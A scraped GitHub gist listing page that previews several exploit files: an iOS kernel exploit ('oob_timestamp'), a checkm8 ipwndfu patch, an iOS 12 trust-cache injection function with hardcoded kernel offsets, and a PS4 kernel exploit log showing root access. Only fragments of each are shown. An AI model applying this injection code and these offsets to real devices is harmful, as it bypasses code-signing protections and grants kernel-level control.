ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ TempAccountNull
TempAccountNull
/ exploit.c
Created
February 21, 2020 20:56
— forked from jakeajames/exploit.c
leak address of segment_list in oob_timestamp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // exploit.c | |
| // extra_time | |
| // | |
| // Created by Jake James on 2/8/20. | |
| // Copyright © 2020 Jake James. All rights reserved. | |
| // | |
| #include "exploit.h" | |
| #include "IOAccelerator_stuff.h" |
jakeajames
/ exploit.c
Last active
April 9, 2022 04:10
leak address of segment_list in oob_timestamp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // exploit.c | |
| // extra_time | |
| // | |
| // Created by Jake James on 2/8/20. | |
| // Copyright © 2020 Jake James. All rights reserved. | |
| // | |
| #include "exploit.h" | |
| #include "IOAccelerator_stuff.h" |
a1exdandy
/ checkm8_a8_a9.patch
Last active
March 21, 2023 10:32
ipwndfu patch for s8000/s8003/t7000
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| diff --git a/Makefile b/Makefile | |
| index 96e99b7..4884309 100644 | |
| --- a/Makefile | |
| +++ b/Makefile | |
| @@ -43,6 +43,10 @@ arm64: | |
| gobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin | |
| rm bin/checkm8_arm64.o | |
| + xcrun -sdk iphoneos clang src/checkm8_nopaddingcorruption_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_nopaddingcorruption_arm64.o | |
| + gobjcopy -O binary -j .text bin/checkm8_nopaddingcorruption_arm64.o bin/checkm8_nopaddingcorruption_arm64.bin |
TempAccountNull
/ inject_trusts-iOS-v12.1.2-16C104-iPhone11,x.c
Created
February 21, 2019 21:44
— forked from Proteas/inject_trusts-iOS-v12.1.2-16C104-iPhone11,x.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void inject_trusts(int pathc, const char *paths[]) | |
| { | |
| printf("[+] injecting into trust cache...\n"); | |
| extern uint64_t g_kern_base; | |
| static uint64_t tc = 0; | |
| if (tc == 0) { | |
| // loaded_trust_caches: 0xFFFFFFF008F702C8 | |
| tc = g_kern_base + (0xFFFFFFF008F702C8 - 0xFFFFFFF007004000); |
Proteas
/ inject_trusts-iOS-v12.1.2-16C104-iPhone11,x.c
Last active
October 22, 2023 11:31
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void inject_trusts(int pathc, const char *paths[]) | |
| { | |
| printf("[+] injecting into trust cache...\n"); | |
| extern uint64_t g_kern_base; | |
| static uint64_t tc = 0; | |
| if (tc == 0) { | |
| /* loaded_trust_caches | |
| iPhone11,2-4-6: 0xFFFFFFF008F702C8 |
CTurt
/ gist:27fe7f3c241f69be19e5
Created
December 14, 2015 19:24
PS4 kernel exploit tease (root FS dump, and list of PIDs)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [+] Entered shellcode | |
| [+] UID: 0, GID: 0 | |
| [DIR]: . | |
| [DIR]: .. | |
| [DIR]: adm | |
| [DIR]: app_tmp | |
| [DIR]: data | |
| [DIR]: dev | |
| [DIR]: eap_user | |
| [DIR]: eap_vsh |